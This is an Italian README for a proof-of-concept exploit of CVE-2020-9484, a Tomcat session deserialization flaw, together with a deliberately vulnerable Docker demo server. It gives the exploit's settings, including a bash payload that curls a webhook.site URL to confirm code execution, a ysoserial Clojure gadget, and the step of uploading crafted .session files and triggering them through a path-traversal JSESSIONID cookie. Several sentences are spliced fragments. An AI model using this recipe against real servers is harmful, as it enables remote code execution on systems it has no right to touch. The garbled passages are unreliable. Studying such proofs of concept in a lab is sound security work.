
Exploit PoC per CVE-2020-9484, e un'applicazione web vulnerabile per la sua dimostrazione.
Questo repository contiene un proof of concept per la vulnerabilità CVE-2020-9484, insieme a un server web di esempio vulnerabile a questa exploit.
Versioni di Tomcat interessate:
PersistentManager è abilitato e utilizza un FileStore..session) e conosce la posizione in cui viene caricato.clojure o commons-collections) che possono essere usati per un attacco di deserializzazione Java.Il servizio di esempio è un server web con due pagine, /index.jsp (o semplicemente /) e /list.jsp. Consente all'utente di caricare e scaricare file (specifici per la sessione corrente), fungendo di fatto da archivio di file.
/upload per il caricamento di file e consente all'utente di scegliere il nome del file. Ciò rende possibile caricare file con estensione .session. È anche noto che il server archivia i file nella directory /var/tmp/uploads.PersistentManager abilitato tramite FileStore. (vedi context.xml)clojure:1.8.0 nel classpath, facilitando così l'attacco di deserializzazione. (vedi pom.xml)Per configurare il servizio vulnerabile di esempio:
$ cd sample-vulnerable-server
$ docker build -t vulnerable_tomcat .
$ docker run -p 8085:8080 vulnerable_tomcat
Il servizio dovrebbe ora essere attivo all'indirizzo http://localhost:8085/POC_CVE-2020-9484/.
Ora regola le variabili di configurazione all'inizio di exploit.py. Il PAYLOAD, qui uno script shell, può essere qualsiasi file eseguibile dal server.
UPLOAD_URL = 'http://localhost:8085/POC_CVE-2020-9484/upload' # vulnerable service's file upload endpoint
FILE_UPLOAD_FORM_FIELD = 'file' # as in the upload page's html form
FILE_UPLOAD_BASE_PATH = '/var/tmp/uploads/' # the location where the vulnerable service stores uploaded files on its server
JAVABIN = os.path.expanduser('~/.jdks/corretto-11.0.24/bin/java') # path to java executable, java 11 preferred; yoserial doesn't support newer versions
PAYLOAD = '''\
#!/bin/bash
curl https://webhook.site/4767be3e-f031-4f72-8605-5107d677b1c0/?RCE_SUCCESSFULLY_DEMONSTRATED
'''.encode() # payload for determining whether RCE attempt was successful.
YOSERIAL_PAYLOAD_TYPE = "Clojure" # this must be present in vulnerable server dependencies, for more details see https://github.com/frohoff/ysoserial?tab=readme-ov-file#usage
Ora esegui exploit.py. Esso esegue le seguenti azioni:
.session), che verranno eventualmente deserializzati sul server:
PAYLOAD caricato sul server.PAYLOAD sul server.PAYLOAD come file sul server..session generati sopra sul server.JSESSIONID impostato al percorso dei file .session caricati in precedenza, relativo all'archivio delle sessioni del server, attivando così la loro deserializzazione sul server e la successiva esecuzione del payload./path/to/uploads/base/directory/<value of JSESSIONID cookie>/uploads/filename. In tal caso, usare un JSESSIONID della forma ../../../../tmp (invece di un valore arbitrario come "1337"*8 usato in exploit.py sopra) con la richiesta POST di caricamento file può potenzialmente aiutare a determinare dove il file caricato viene archiviato sul server.